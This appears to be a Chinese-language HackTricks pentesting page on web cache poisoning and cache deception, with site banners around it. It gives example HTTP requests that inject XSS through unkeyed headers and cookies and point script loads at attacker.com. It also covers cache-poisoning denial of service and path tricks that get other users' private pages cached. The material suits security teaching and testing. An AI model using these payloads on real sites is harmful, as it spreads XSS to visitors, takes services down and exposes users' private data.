hacktricks/pentesting-web/cache-deception.md

16 KiB
Raw Blame History

缓存投毒与缓存欺骗

从零到英雄学习AWS黑客技术通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

区别

web缓存投毒与web缓存欺骗有什么区别

  • web缓存投毒中,攻击者导致应用程序将一些恶意内容存储在缓存中,然后这些内容从缓存中提供给其他应用程序用户。
  • web缓存欺骗中,攻击者导致应用程序将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索这些内容。

缓存投毒

投毒缓存的目标是让客户端加载部分或完全由攻击者控制的意外资源
被投毒的响应只会提供给在缓存被投毒时访问受影响页面的用户。因此,影响可能从不存在到巨大不等,这取决于页面是否受欢迎。

要执行缓存投毒攻击,首先需要识别未键入的输入(不需要出现在缓存请求中但会改变返回页面的参数),看看如何滥用这个参数并让响应被缓存

发现检查HTTP头部

通常,当一个响应被存储在缓存中时,会有一个头部指示这一点,你可以在这篇文章中查看你应该注意哪些头部:HTTP缓存头部

发现缓存400代码

如果你认为响应被存储在缓存中,你可以尝试发送带有错误头部的请求,这应该会收到一个状态码为400的响应。然后尝试正常访问请求,如果响应是400状态码你就知道它是脆弱的你甚至可以执行DoS
一个配置不当的头部可能只是\:作为头部。
注意有时这类状态代码不会被缓存,所以这个测试将是无用的。

发现:识别和评估未键入的输入

你可以使用 Param Miner暴力破解可能改变页面响应的参数和头部。例如,一个页面可能使用头部X-Forwarded-For来指示客户端从那里加载脚本:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

从后端服务器引发有害响应

在确定了参数/头部后,检查它是如何被清洗的,以及它在响应中反映位置或如何影响来自头部的响应。你能以任何方式滥用它吗执行XSS或加载由你控制的JS代码执行DoS...

获取缓存的响应

一旦你确定了可以被滥用的页面,使用哪个参数/头部以及如何滥用它,你需要让页面被缓存。根据你试图缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。
响应中的头部**X-Cache可能非常有用,因为当请求没有被缓存时它可能有值miss,而当它被缓存时有值hit
头部
Cache-Control也很有趣,了解资源是否被缓存以及下一次资源何时会再次被缓存:Cache-Control: public, max-age=1800
另一个有趣的头部是
Vary。这个头部通常用来指示额外的头部**,即使它们通常不是关键的,也被视为缓存键的一部分。因此,如果用户知道他所针对的受害者的User-Agent,他可以为使用那个特定User-Agent的用户污染缓存。
与缓存相关的另一个头部是**Age**。它定义了对象在代理缓存中的时间(以秒为单位)。

在缓存请求时,要小心你使用的头部,因为其中一些可能会意外地被用作关键,而受害者将需要使用相同的头部。始终测试缓存投毒是否有效,使用不同的浏览器进行检查。

利用示例

最简单的例子

X-Forwarded-For这样的头部在响应中未经清洗地反映出来>
你可以发送一个基本的XSS有效载荷并污染缓存这样每个访问页面的人都会受到XSS攻击

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

利用Web缓存投毒来利用Cookie处理漏洞

Cookies也可能反映在页面的响应中。如果您能够滥用它来引起XSS例如您可能能够在多个加载恶意缓存响应的客户端中利用XSS。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

请注意如果易受攻击的cookie被用户频繁使用常规请求将会清理缓存。

利用多个头部来利用Web缓存投毒漏洞

有时您需要利用多个未键入的输入来滥用缓存。例如,如果您将X-Forwarded-Host设置为您控制的域,并将X-Forwarded-Scheme设置为http,您可能会发现一个Open redirect如果 服务器正在将所有HTTP请求转发HTTPS,并使用头部X-Forwarded-Scheme作为重定向的域名。您可以控制重定向指向的页面位置。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

利用有限的 Vary 头部

如果你发现 X-Host 头部被用作加载 JS 资源的域名,但响应中的 Vary 头部指示的是 User-Agent。那么,你需要找到一种方法来泄露受害者的 User-Agent 并使用该 User-Agent 污染缓存:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

利用 HTTP 请求走私攻击 HTTP 缓存投毒

在此了解如何执行通过滥用 HTTP 请求走私进行缓存投毒攻击

自动化测试 Web 缓存投毒

可以使用 Web 缓存漏洞扫描器 自动测试 web 缓存投毒。它支持许多不同的技术,并且高度可定制。

示例用法:wcvs -u example.com


使用 Trickest 轻松构建并自动化工作流程,由世界最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

易受攻击的示例

Apache Traffic Server (CVE-2021-27577)

ATS 在转发 URL 中的片段时没有将其剥离,并且仅使用主机、路径和查询(忽略片段)生成缓存键。因此,发送的请求 /#/../?r=javascript:alert(1) 被后端接收为 /#/../?r=javascript:alert(1),而缓存键中没有包含有效载荷,只有主机、路径和查询。

GitHub CP-DoS

在 content-type 头中发送错误值会触发一个缓存的 405 响应。缓存键包含了 cookie因此只能攻击未认证的用户。

GitLab + GCP CP-DoS

GitLab 使用 GCP 存储桶来存储静态内容。GCP 存储桶支持头部 x-http-method-override。因此,可以发送头部 x-http-method-override: HEAD 并投毒缓存,使其返回空响应体。它也可能支持 PURGE 方法。

Rack Middleware (Ruby on rails)

Ruby on Rails 应用程序通常与 Rack 中间件一起部署。下面的 Rack 代码取 x-forwarded-scheme 值并将其用作请求的方案

发送 x-forwarded-scheme: http 头将导致 301 重定向到相同位置,这将导致该资源的 DoS如下例所示

应用程序可能还支持头部 X-forwarded-host 并将用户重定向到该主机,使得可以从攻击者服务器加载 JavaScript 文件:

403 和存储桶

以前,Cloudflare 曾经缓存 403 响应,因此发送错误的 Authorization 头试图访问暴露的 S3Azure 存储 Blob 将返回一个将被缓存的 403。Cloudflare 不再缓存 403 响应,但这可能适用于其他代理。

注入键控参数

通常,缓存被配置为仅在缓存键中包含特定的 GET 参数

例如Fastly 使用 Varnish 缓存了请求中的 size 参数,但如果你同时发送了**siz%65** 参数并带有错误值,缓存键将使用正确书写的 size 参数构建,但后端使用的是URL 编码参数中的值

对第二个 size 参数进行 URL 编码会导致缓存忽略它,但后端使用它。将参数值设置为 0 将导致可缓存的 400 Bad Request。

用户代理规则

由于像 FFUF 或 Nuclei 这样的工具生成的流量量很大,一些开发者决定阻止匹配其用户代理的请求。讽刺的是,这些调整可能会引入不希望的缓存投毒和 DoS 机会。

我发现这在多个目标上有效,使用来自不同工具或扫描器的用户代理。

非法头字段

头字段名称格式在 RFC7230 中定义如下:

理论上,如果头字段名称包含 tchar 列表中未列出的字符,则应以 400 Bad request 拒绝。然而,实际上,服务器并不总是遵守 RFC。利用这一细微差别的最简单方法是针对 Akamai它不会拒绝无效的头字段但会转发它们并缓存任何 400 错误,只要没有 cache-control 头字段。

发送包含非法字符 \ 的头字段会导致一个可缓存的 400 Bad Request 错误。这是我在测试中发现的最常见的模式之一。

发现新头字段

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

缓存欺骗

缓存欺骗的目标是让客户端加载将由缓存保存其敏感信息的资源

首先注意,像 .css.js.png扩展名通常被配置保存缓存中。因此,如果你访问 www.example.com/profile.php/nonexistent.js,缓存可能会存储响应,因为它看到了 .js 扩展名。但是,如果应用程序正在回放存储在 www.example.com/profile.php 中的敏感用户内容,你可以窃取其他用户的这些内容。

其他要测试的内容:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • 使用鲜为人知的扩展名,如 .avif

在这篇文章中可以找到一个非常清晰的例子:https://hackerone.com/reports/593712
在例子中,解释了如果你加载一个不存在的页面,如 http://www.example.com/home.php/non-existent.csshttp://www.example.com/home.php 的内容(包含用户的敏感信息)将被返回,并且缓存服务器将保存结果。
然后,攻击者可以在自己的浏览器中访问 http://www.example.com/home.php/non-existent.css 并观察之前访问的用户的机密信息

请注意,缓存代理应该被配置基于文件的扩展名 (.css) 而不是基于内容类型来缓存文件。在例子 http://www.example.com/home.php/non-existent.css 中,将有一个 text/html 内容类型而不是 text/css MIME 类型(这是 .css 文件的预期类型)。

在此了解如何执行利用 HTTP 请求走私进行缓存欺骗攻击

参考资料


使用 Trickest 轻松构建并自动化工作流程,由世界最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习 AWS 黑客攻击,成为 htARTE (HackTricks AWS 红队专家)

支持 HackTricks 的其他方式: